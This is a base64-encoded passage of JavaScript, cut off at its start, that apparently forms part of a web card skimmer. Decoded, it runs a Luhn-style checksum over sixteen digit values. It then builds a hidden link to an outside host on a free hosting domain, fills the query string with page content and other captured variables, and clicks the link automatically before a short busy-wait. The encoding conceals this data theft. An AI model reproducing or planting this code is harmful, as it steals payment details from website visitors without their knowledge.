ZhciBzMTI9cGFyc2VJbnQodmFyMTIpOw0KdmFyIHMxND1wYXJzZUludCh2YXIxNCk7DQp2YXIgczE2PXBhcnNlSW50KHZhcjE2KTsNCg0KdmFyIHMxPXBhcnNlSW50KHZhcjEpKjI7DQppZihzMT45KXsNCmxldCB6MT1zMS50b1N0cmluZygpDQp2YXIgbW0xMT16MS5jaGFyQXQoMCk7DQp2YXIgbW0yMT16MS5jaGFyQXQoMSk7DQpzMT1wYXJzZUludChtbTExKStwYXJzZUludChtbTIxKTsNCn07DQp2YXIgczM9cGFyc2VJbnQodmFyMykqMjsNCmlmKHMzPjkpew0KbGV0IHozPXMzLnRvU3RyaW5nKCkNCnZhciBtbTEzPXozLmNoYXJBdCgwKTsNCnZhciBtbTIzPXozLmNoYXJBdCgxKTsNCnMzPXBhcnNlSW50KG1tMTMpK3BhcnNlSW50KG1tMjMpOw0KfTsNCnZhciBzNT1wYXJzZUludCh2YXI1KSoyOw0KaWYoczU+OSl7DQpsZXQgejU9czUudG9TdHJpbmcoKQ0KdmFyIG1tMTU9ejUuY2hhckF0KDApOw0KdmFyIG1tMjU9ejUuY2hhckF0KDEpOw0KczU9cGFyc2VJbnQobW0xNSkrcGFyc2VJbnQobW0yNSk7DQp9Ow0KdmFyIHM3PXBhcnNlSW50KHZhcjcpKjI7DQppZihzNz45KXsNCmxldCB6Nz1zNy50b1N0cmluZygpDQp2YXIgbW0xNz16Ny5jaGFyQXQoMCk7DQp2YXIgbW0yNz16Ny5jaGFyQXQoMSk7DQpzNz1wYXJzZUludChtbTE3KStwYXJzZUludChtbTI3KTsNCn07DQp2YXIgczk9cGFyc2VJbnQodmFyOSkqMjsNCmlmKHM5Pjkpew0KbGV0IHo5PXM5LnRvU3RyaW5nKCkNCnZhciBtbTE5PXo5LmNoYXJBdCgwKTsNCnZhciBtbTI5PXo5LmNoYXJBdCgxKTsNCnM5PXBhcnNlSW50KG1tMTkpK3BhcnNlSW50KG1tMjkpOw0KfTsNCnZhciBzMTE9cGFyc2VJbnQodmFyMTEpKjI7DQppZihzMTE+OSl7DQpsZXQgejExPXMxMS50b1N0cmluZygpDQp2YXIgbW0xMTE9ejExLmNoYXJBdCgwKTsNCnZhciBtbTIxMT16MTEuY2hhckF0KDEpOw0KczExPXBhcnNlSW50KG1tMTExKStwYXJzZUludChtbTIxMSk7DQp9Ow0KdmFyIHMxMz1wYXJzZUludCh2YXIxMykqMjsNCmlmKHMxMz45KXsNCmxldCB6MTM9czEzLnRvU3RyaW5nKCkNCnZhciBtbTExMz16MTMuY2hhckF0KDApOw0KdmFyIG1tMjEzPXoxMy5jaGFyQXQoMSk7DQpzMTM9cGFyc2VJbnQobW0xMTMpK3BhcnNlSW50KG1tMjEzKTsNCn07DQp2YXIgczE1PXBhcnNlSW50KHZhcjE1KSoyOw0KaWYoczE1Pjkpew0KbGV0IHoxNT1zMTUudG9TdHJpbmcoKQ0KdmFyIG1tMTE1PXoxNS5jaGFyQXQoMCk7DQp2YXIgbW0yMTU9ejE1LmNoYXJBdCgxKTsNCnMxNT1wYXJzZUludChtbTExNSkrcGFyc2VJbnQobW0yMTUpOw0KfTsNCnZhciBtb2xpPXMxK3MyK3MzK3M0K3M1K3M2K3M3K3M4K3M5K3MxMCtzMTErczEyK3MxMytzMTQrczE1K3MxNjsNCm1vbGk9bW9saS50b1N0cmluZygpOw0KdmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnYScpOw0KdmFyIGxpbmtUZXh0PWRvY3VtZW50LmNyZWF0ZVRleHROb2RlKCJteSB0aXRsZSB0ZXh0Iik7DQphLmFwcGVuZENoaWxkKGxpbmtUZXh0KTsNCmEuaWQ9ImlkMjIyIjsNCmEudGl0bGU9Im15IHRpdGxlIHRleHQiOw0KZGF0YTQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiYWNoMTIzIikuaW5uZXJIVE1MOw0KYS5ocmVmPWhhMitoYTUraGE1K2hhMytoYTEraGE0K2hhNCsidXJiaW5zIittb2xpLmNoYXJBdChtb2xpLmxlbmd0aCAtIDEpKyItMDAxLXNpdGUxLmR0ZW1wdXJsLmNvbS8iK2ZvZmYrIj9TPSIrZGF0YTQrIi0iK3NpdGUrIiZEPSIrc3RyMSsiJk49Iitubm47DQpkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2lkMjIyJykuY2xpY2soKTsNCg0KdmFyIGlnPTA7DQp2YXIgZD1uZXcgRGF0ZSgpOw0KdmFyIG49ZC5nZXRTZWNvbmRzKCk7DQpkbyB7DQp2YXIgZDI9bmV3IERhdGUoKTsNCnZhciBuND1kMi5nZXRTZWNvbmRzKCk7DQppZihuPDU1KXsNCmlmKG4rNTxuNCl7DQppZz0zOw0KfQ0KfQ0KaWYobj41NCl7DQppZihuKzU8bjQrNjApew0KaWc9MzsNCn0NCn0NCn0NCndoaWxlIChpZzwyKTsNCmlmKGxvb2xhPT0xKXsNCn0NCn0NCn0NCn0NCn0NCg0KDQo=